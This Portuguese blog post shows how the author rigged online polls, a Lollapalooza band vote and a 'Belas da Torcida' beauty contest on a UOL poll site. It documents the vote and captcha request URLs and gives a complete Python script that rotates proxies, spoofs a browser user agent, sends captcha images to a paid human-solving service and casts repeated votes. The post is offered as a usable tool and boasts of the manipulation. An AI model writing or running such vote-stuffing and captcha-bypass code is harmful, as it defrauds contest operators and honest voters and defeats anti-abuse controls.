A uns dias atrás, antes do amoço eu achei um concurso e pensei: será que é possível manipular a votação e alterar o resultado final?
A uns meses atrás, eu de brincadeira fiz um robô para votar em bandas na Lollapalooza (http://www.t4f.com.br/app/lollapalooza/escolha-lollabr2016-1/) e selecionei umas bandas nada a ver com a escolha popular para ver se dá resultado.
Como foi essa história?
O site do Lolla guardava o cookie não deixando mais votar, permitindo apenas 1 único voto, então eu escrevi um script em python usando o requests que não guardava o cookie, assim eu consegui manipular os votos, infelizmente não tinha como saber quais eram as bandas mais votadas, mas se tiver natiruts ano que vem já saberemos :)
Enfim, voltando ao concurso.
Eu comecei a brincar com o robô antes do almoço, dei uma pequena pausa para comer e voltei a brincadeira, eu fiz o robô que realiza o voto na modelo indicada (identificada por um ID) em um json.
Vou
[EDIT] A mina não ganhou, o robô deu um "gás" na frente da outra mas eu tinha desligado o robô uns dias antes de finalizar, liguei no ultimo dia mas não deu pra fazer a mina ganhar :( [/EDIT]
Sem mais delongas, vamos ao que interessa.
O sorteio é da "Belas da Torcida", nele modelos competem para ver quem é a mais bela da torcida. Beleza, a votação em si, é feita através de um GET em um arquivo que retorna um JSON. Abrindo a pagina de votação:
![]() |
Coloquei a tarja para preservar as modelos |
Maravilha, olhem ali ao lado (img abaixo)
Podemos observar que temos 4 requests em paginas iniciando com "vote?jsonp=PollVote&format", essas são as pagina que ele realiza a consulta, as duas primeiras ele me retorna o seguinte json:
GET
http://enquete.xxx.com.br:443/vote?jsonp=PollVote&format=jsonp&id=48058&answers=IDMODELO
JSONP
PollVote(
- id: 48058,
- status: "captcha",
- captcha:
- id: "pkX6uFG78AKJODRhQ4TyUCHvPZVI13MlaYigjStNso9rfWq.wx5n0d2mLcEebzB-1gArZ28LZGCEOm4qI2QmZNoiO6SjZHFmJ6uwJgu5RTLxD6QqOgOnRg8xDyO=",
)
Beleza, sei que naquele link acima se eu fizer um get ele me retornar um jsonp com os dados do ID e a imagem do CAPTCHA, agora vamos ver o que ele me traz quando eu consulto o outro GET, os dois ultimos que iniciam com "vote?jsonp=PollVote&format"
GET
http://enquete.xxx.com.br/vote?jsonp=PollVote&format=jsonp&id=48058&answers=IDMODELO&captcha-value=e3z4&captcha-id=nB9gd3ZLsJR-UlO.uDHxtwM6ipzCKAbfGkj28qWQINXrVFcm0TyaPehE4Y57oSv1ALnaixnhp2przWsTC6n0l6kmpg34O6wc-gd0-2dyOH4TlgucU2UaO2sTlxU=
Note que nesse link acima, já temos uns valores interessantes, vou marcar abaixo os interessantes em vermelho:
http://enquete.xxx.com.br/vote?jsonp=PollVote&format=jsonp&id=48058&answers=IDMODELO&captcha-value=e3z4&captcha-id=nB9gd3ZLsJR-UlO.uDHxtwM6ipzCKAbfGkj28qWQINXrVFcm0TyaPehE4Y57oSv1ALnaixnhp2przWsTC6n0l6kmpg34O6wc-gd0-2dyOH4TlgucU2UaO2sTlxU=
Certo, captcha-value contem o texto do captcha e o captcha-id contem o ID que vimos ali em cima no primeiro get que fizemos.
Agora vem a parte interessante, como faço para burlar esse captcha e manipular as votações com robôs de automatização?
Beleza, nada de OCR, IMAGEMAGIK e a caralhada toda pra complicar, vamos buscar algo mais simples e efetivo que não nos tome tempo. Conheçam o DEATH BY CAPTCHA, maravilhoso site que explora o trabalho de indianos na resolução dos nossos captchas de cada dia, o terror de sites como a Receita Federal, Sefaz e por ai vai hu3hu3hu3BR. O melhor de tudo, é MUITO barato, resolução de 5000 captcha sai em torno de 6.29 obamas, coisa chique.
Certo, como já tenho os dados que preciso, agora é hora de integrar o sistema de votação e no de quebra de captcha, fazendo eles trabalharem juntos :)
Usaremos o Python, mas da pra ser feito em varias outras linguagens.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import json,requests,base64,random | |
import time | |
from PIL import Image | |
from StringIO import StringIO | |
def proxy(): | |
dic_proxy = [] | |
with open('proxy.list','rb') as p_list: | |
for proxy in p_list.readlines(): | |
if proxy: | |
dic_proxy.append(proxy.strip()[1:-1-1]) | |
random.shuffle(dic_proxy) | |
return dic_proxy[0] | |
def get_json(): | |
p_url = proxy() | |
user_agent = {'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; hu-HU; rv:1.7.8) Gecko/20050511 Firefox/1.0.4'} | |
url_json = "http://enquete.uol.com.br:443/vote?jsonp=PollVote&format=jsonp&id=48058&answers=IDMODELO" | |
req_json = requests.get(url_json,headers=user_agent,proxies=p_url ,timeout=5) | |
json_enquete = req_json.text.encode('utf-8') | |
json_enquete = json_enquete.replace('PollVote(','').replace(')','') | |
json_enquete = json.loads(json_enquete) | |
url_image = json_enquete['captcha']['image'] | |
url_image = url_image.encode('utf-8') | |
id_captcha = json_enquete['captcha']['id'] | |
id_captcha = id_captcha.encode('utf-8') | |
print req_json.text | |
return (url_image,id_captcha) | |
def save_img(url_image): | |
img = requests.get(url_image, stream=True) | |
i = Image.open(StringIO(img.content)) | |
i.save("captchaZIKA.jpg") | |
def verf_captcha(texto_id): | |
valid = 1 | |
while valid == 1: | |
url_zika = "http://api.dbcapi.me/api/captcha/%s" % texto_id | |
get_solved = requests.get(url_zika,timeout=5) | |
texto_solved = get_solved.text | |
texto_solved = texto_solved.encode('utf-8').split('&')[2].split('=')[1] | |
if len(texto_solved) > 0: | |
return texto_solved | |
else: | |
pass | |
def resolv_captcha(): | |
data = {"username":"USUARIO-DEATHBYCAPTHCA","password":"SENHA"} | |
arq = {"captchafile":open("captchaZIKA.jpg","rb")} | |
req_captcha = requests.post("http://api.dbcapi.me/api/captcha", files=arq, data=data,timeout=5) | |
texto_id = req_captcha.text | |
texto_id = texto_id.encode('utf-8').split('&')[1].split('=')[1] | |
texto_solved = verf_captcha(texto_id) | |
return texto_solved | |
def vota_nessa_mina(): | |
p_url = proxy() | |
url_image,id_captcha = get_json() | |
save_img(url_image) | |
texto_solved = resolv_captcha() | |
user_agent = {'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; hu-HU; rv:1.7.8) Gecko/20050511 Firefox/1.0.4'} | |
url_voto = "http://enquete.uol.com.br:443/vote?jsonp=PollVote&format=jsonp&id=48058&answers=IDMODELO&captcha-value=%s&captcha-id=%s" % (texto_solved,id_captcha) | |
req_voto = requests.get(url_voto,headers=user_agent,proxies=p_url,timeout=5) | |
print req_voto.text | |
times = [5,10,3,15] | |
for i in range(1,2): | |
try: | |
random.shuffle(times) | |
time.sleep(times[0]) | |
vota_nessa_mina() | |
except: | |
print "Deu bosta" | |
pass |